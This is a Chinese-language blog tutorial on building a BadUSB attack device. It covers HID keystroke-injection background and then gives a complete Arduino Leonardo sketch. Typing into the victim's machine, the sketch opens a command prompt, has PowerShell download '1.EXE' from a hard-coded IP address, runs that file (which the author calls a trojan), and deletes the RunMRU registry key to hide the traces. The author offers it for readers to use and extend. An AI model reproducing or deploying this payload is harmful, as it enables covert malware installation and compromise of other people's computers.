a000053_iso_both1
这一段的考试任务完成了,累累累累累,好吧现在 写一下制作BadUSB的文章。顾名思义,BadUSB就是坏的USB,专门用来干一些坏事情,。。。。。

0X01

BadUSB原理

在介绍BadUSB的原理之前,笔者在这里先介绍下BadUSB出现之前,利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击的两种类型。分别是”USB RUBBERDUCKY”和”Teensy”。

TEENSY介绍

攻击者在定制攻击设备时,会向USB设备中置入一个攻击芯片,此攻击芯片是一个非常小而且功能完整的单片机开发系统,它的名字叫TEENSY。通过TEENSY你可以模拟出一个键盘和鼠标,当你插入这个定制的USB设备时,电脑会识别为一个键盘,利用设备中的微处理器与存储空间和编程进去的攻击代码,就可以向主机发送控制命令,从而完全控制主机,无论自动播放是否开启,都可以成功。
版本1.0:芯片型号 AT90USB162  ,I/O端口 21个,FLASH内存16K,RAM内存 512bytes;
版本2.0:芯片型号 ATMEGA32U4,I/O端口 25个,FLASH内存32Kbytes, RAM内存 2560bytes;
版本2.0++:芯片型号 AT90USB1286 ,I/O端口 46个,FLASH内存128Kbytes,RAM内存 8192bytes;
版本3.1:芯片型号 MK20DX256 ,I/O端口 34个,FLASH内存256Kbytes,RAM内存 65536bytes;
 

USB RUBBER DUCKY介绍

简称USB橡皮鸭,是最早的按键注入工具,通过嵌入式开发板实现,后来发展成为一个完全成熟的商业化按键注入攻击平台。它的原理同样是将USB设备模拟成为键盘,让电脑识别成为键盘,然后进行脚本模拟按键进行攻击。

这两种攻击方式,是在BadUSB公布之前,比较流行的两种HID攻击方式,缺陷在于要定制硬件设备,通用性比较差。但是BadUSB就不一样了,它是在“USB RUBBER DUCKY”和“Teensy”攻击方式的基础上用通用的USB设备(比如U盘)。

U盘的内部构造


U盘由芯片控制器和闪存两部分组成,芯片控制器负责与PC的通讯和识别,闪存用来做数据存储;闪存中有一部分区域用来存放U盘的固件,它的作用类似于操作系统,控制软硬件交互;固件无法通过普通手段进行读取。
BadUSB就是通过对U盘的固件进行逆向重新编程,相当于改写了U盘的操作系统而进行攻击的。

USB协议漏洞

为什么要重写固件呢?下面我们可以看看USB协议中存在的安全漏洞。
现在的USB设备很多,比如音视频设备、摄像头等,因此要求系统提供最大的兼容性,甚至免驱;所以在设计USB标准的时候没有要求每个USB设备像网络设备那样占有一个唯一可识别的MAC地址让系统进行验证,而是允许一个USB设备具有多个输入输出设备的特征。这样就可以通过重写U盘固件,伪装成一个USB键盘,并通过虚拟键盘输入集成到U盘固件中的指令和代码而进行攻击。

BadUSB利用代码分析

笔者对KarstenNohl和Jakob Lell公布的代码进行简单的一个流程解析。

这样一个带有恶意代码的U盘就产生了,更详细的可以搜索Karsten Nohl 和 Jakob Lell公布的代码。
上面这些都是介绍的,大家估计也都在其他的论坛上看过上面的内容,没错就是在freebuf上的!因为上面的设备真的很贵的,最便宜的也要50多,贵的FireGoose要400多。而且不包邮,,

0X02

过了很久,终于看到了一个便宜的设备,这就是Arduino-Leonardo,这个笑笑的开发板,采用的就是和Tennsy版本2.0一样:芯片型号 ATMEGA32U4,I/O端口 25个,FLASH内存32Kbytes, RAM内存 2560bytes;重要是价格才20块钱出头,所以很快就入手了一个,。
qq%e6%88%aa%e5%9b%be20161219235046
首先就是搭建设备的环境,现在Arduino的IDE,官方下载地址!

https://www.arduino.cc/en/Main/Software

 
snipaste20161220_115920
将设备连接电脑,并选中工具-开发板-Arduino Leonardo,同时,端口同样选择设备,每台电脑是不一样的。
 
不多说了,下面直接贴出代码!

#include<Keyboard.h>
void setup(){
	Keyboard.begin();
	delay(500);
	Keyboard.press(KEY_CAPS_LOCK);
	Keyboard.press(KEY_LEFT_GUI);
	delay(200);
	Keyboard.press('r');
	delay(200);
	Keyboard.release(KEY_LEFT_GUI);
	Keyboard.release('r');
	delay(500);
	Keyboard.println("cmd");
	delay(500);
	Keyboard.press(KEY_RETURN);
	Keyboard.release(KEY_RETURN);
	delay(1000);
	Keyboard.println("POWERSHELL -cOMMAND $CLNT = NEW-OBJECT sYSTEM.nET.wEBcLIENT;$URL= 'HTTP://101.201.80.234/1.EXE';$FILE = '%homepath%\\1.EXE';$CLNT.dOWNLOADfILE($URL,$FILE);");//这是关键代码,从服务器上下载木马文件,然后存在homepath路径下,
	Keyboard.press(KEY_RETURN);
	Keyboard.release(KEY_RETURN);
	delay(1000);
	Keyboard.println("%HOMEPATH%\\1.exe");//运行木马文件。
	Keyboard.press(KEY_RETURN);
	Keyboard.release(KEY_RETURN);
	delay(500);
	Keyboard.println("REG DELETE hkcu\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTvERSION\\EXPLORER\\RUNmru /F");//清除输入的记录,
	Keyboard.press(KEY_RETURN);
	Keyboard.release(KEY_RETURN);
	delay(500);
	Keyboard.println("EXIT");
	Keyboard.press(KEY_RETURN);
	Keyboard.release(KEY_RETURN);
	Keyboard.end();
}
void loop(){
}

 
qq%e6%88%aa%e5%9b%be20161221135533
基本情况下,直接点击箭头(上传)就可以直接验证和上传,不用先点击验证。再点击上传,从而减少麻烦,
PS:大家不要嫌弃这么才32Kb的空间,我写的代码万一容不下去,哥们,你想多了,基本上完全够用!
 
上传成功后,电脑会自动断开USB,然后又会重新连接,那么 Arduino Leonardo就会自动运行了。
首先开启大写键 然后打开了运行窗口 然后输入了CMD 接着要回车了。
qq%e6%88%aa%e5%9b%be20161220115729
PS:开启大写,是为了防止输入法的限制,

0X03

现在就来分析代码.主要用到的就是这些函数。我们主要把代码写道void  setup里。由于程序是C语言写的,所以比较简单易懂。

void setup() {
  // put your setup code here, to run once:
}
void loop() {
  // put your main code here, to run repeatedly:
}

 

#include<Keyboard.h>      //包含键盘模块的头文件
Keyboard.begin();         //开启键盘通信
delay(1000);              //延时1000毫秒,
Keyboard.press();         //按下某个键
Keyboard.release();       //释放某个键
Keyboard.println();       //输入某些内容 和一些网上的解释不同 网上解释是输入内容并且能回车,而我测试的时候并不能回车 可能和版本有关 不要不要担心有办法回车*/
Keyboard.end();           //结束键盘通信

下面,给出键盘上非字母键位的标识符

Key            Hexadecimal value    Decimal value
KEY_LEFT_CTRL         0x80         128
KEY_LEFT_SHIFT        0x81         129
KEY_LEFT_ALT          0x82         130
KEY_LEFT_GUI          0x83         131
KEY_RIGHT_CTRL        0x84         132
KEY_RIGHT_SHIFT       0x85         133
KEY_RIGHT_ALT         0x86         134
KEY_RIGHT_GUI         0x87         135
KEY_UP_ARROW          0xDA         218
KEY_DOWN_ARROW        0xD9         217
KEY_LEFT_ARROW        0xD8         216
KEY_RIGHT_ARROW       0xD7         215
KEY_BACKSPACE         0xB2         178
KEY_TAB               0xB3         179
KEY_RETURN            0xB0         176
KEY_ESC               0xB1         177
KEY_INSERT            0xD1         209
KEY_DELETE            0xD4         212
KEY_PAGE_UP           0xD3         211
KEY_PAGE_DOWN         0xD6         214
KEY_HOME              0xD2         210
KEY_END               0xD5         213
KEY_CAPS_LOCK         0xC1         193
KEY_F1                0xC2         194
KEY_F2                0xC3         195
KEY_F3                0xC4         196
KEY_F4                0xC5         197
KEY_F5                0xC6         198
KEY_F6                0xC7         199
KEY_F7                0xC8         200
KEY_F8                0xC9         201
KEY_F9                0xCA         202
KEY_F10               0xCB         203
KEY_F11               0xCC         204
KEY_F12               0xCD         205

0X04

大概就是这些,大家可以根据自己的想象,把这个发挥到极致!